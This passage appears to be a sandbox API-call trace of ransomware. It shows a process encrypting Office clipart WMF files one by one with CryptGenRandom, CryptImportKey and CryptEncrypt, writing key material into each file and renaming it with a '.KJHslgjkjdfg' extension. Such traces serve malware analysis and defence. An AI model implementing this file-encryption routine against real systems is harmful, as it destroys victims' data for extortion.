dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.154] GetProcessHeap () returned 0x990000 [0207.154] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.154] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.154] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0207.156] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.156] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.156] GetProcessHeap () returned 0x990000 [0207.156] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.156] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.156] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.156] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.156] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.157] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.157] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.157] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.157] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.157] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.157] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.157] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.157] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2904, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2904, lpOverlapped=0x0) returned 1 [0207.159] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2910, dwBufLen=0x2910 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2910) returned 1 [0207.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.160] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2910, lpOverlapped=0x0) returned 1 [0207.160] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x29e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.160] SetEndOfFile (hFile=0x130) returned 1 [0207.163] GetProcessHeap () returned 0x990000 [0207.163] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.163] GetProcessHeap () returned 0x990000 [0207.163] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.163] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf.kjhslgjkjdfg")) returned 1 [0207.165] CloseHandle (hObject=0x130) returned 1 [0207.165] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c97c200, ftCreationTime.dwHighDateTime=0x1bf1118, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c97c200, ftLastWriteTime.dwHighDateTime=0x1bf1118, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE01160_.WMF", cAlternateFileName="")) returned 1 [0207.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.172] GetProcessHeap () returned 0x990000 [0207.172] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.172] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.172] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0207.174] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.174] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.174] GetProcessHeap () returned 0x990000 [0207.175] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.175] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.175] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.175] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.175] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.175] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.175] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.175] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.175] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.175] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.175] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.175] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.175] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x984, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x984, lpOverlapped=0x0) returned 1 [0207.176] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x990, dwBufLen=0x990 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x990) returned 1 [0207.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.176] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x990, lpOverlapped=0x0) returned 1 [0207.176] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.176] SetEndOfFile (hFile=0x130) returned 1 [0207.177] GetProcessHeap () returned 0x990000 [0207.177] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.177] GetProcessHeap () returned 0x990000 [0207.177] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.177] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf.kjhslgjkjdfg")) returned 1 [0207.179] CloseHandle (hObject=0x130) returned 1 [0207.186] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5efa1c00, ftCreationTime.dwHighDateTime=0x1bf1118, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5efa1c00, ftLastWriteTime.dwHighDateTime=0x1bf1118, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE01172_.WMF", cAlternateFileName="")) returned 1 [0207.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.187] GetProcessHeap () returned 0x990000 [0207.187] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.187] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.187] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.188] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.190] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.190] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.190] GetProcessHeap () returned 0x990000 [0207.190] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.190] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.190] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.190] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.190] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.190] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.190] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.191] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.191] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.191] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.191] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.191] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.191] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x59c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x59c, lpOverlapped=0x0) returned 1 [0207.191] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5a0, dwBufLen=0x5a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5a0) returned 1 [0207.191] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.191] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5a0, lpOverlapped=0x0) returned 1 [0207.191] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.191] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.191] SetEndOfFile (hFile=0x130) returned 1 [0207.194] GetProcessHeap () returned 0x990000 [0207.194] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.194] GetProcessHeap () returned 0x990000 [0207.194] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.194] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf.kjhslgjkjdfg")) returned 1 [0207.196] CloseHandle (hObject=0x130) returned 1 [0207.196] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58e6600, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb58e6600, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x3f9c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE01191_.WMF", cAlternateFileName="")) returned 1 [0207.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.198] GetProcessHeap () returned 0x990000 [0207.198] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.198] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.198] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.198] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.203] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.203] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.203] GetProcessHeap () returned 0x990000 [0207.203] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.203] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.203] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.203] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.203] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.203] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.203] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.204] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.204] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.204] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.204] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3f9c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3f9c, lpOverlapped=0x0) returned 1 [0207.205] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3fa0, dwBufLen=0x3fa0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3fa0) returned 1 [0207.205] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.206] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3fa0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3fa0, lpOverlapped=0x0) returned 1 [0207.206] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.206] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.206] SetEndOfFile (hFile=0x130) returned 1 [0207.207] GetProcessHeap () returned 0x990000 [0207.207] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.207] GetProcessHeap () returned 0x990000 [0207.207] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.207] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf.kjhslgjkjdfg")) returned 1 [0207.209] CloseHandle (hObject=0x130) returned 1 [0207.209] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e9600, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea5e9600, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x1418, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE01661_.WMF", cAlternateFileName="")) returned 1 [0207.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.210] GetProcessHeap () returned 0x990000 [0207.210] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.210] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.210] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.210] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.212] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.212] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.212] GetProcessHeap () returned 0x990000 [0207.212] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.212] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.212] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.212] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, 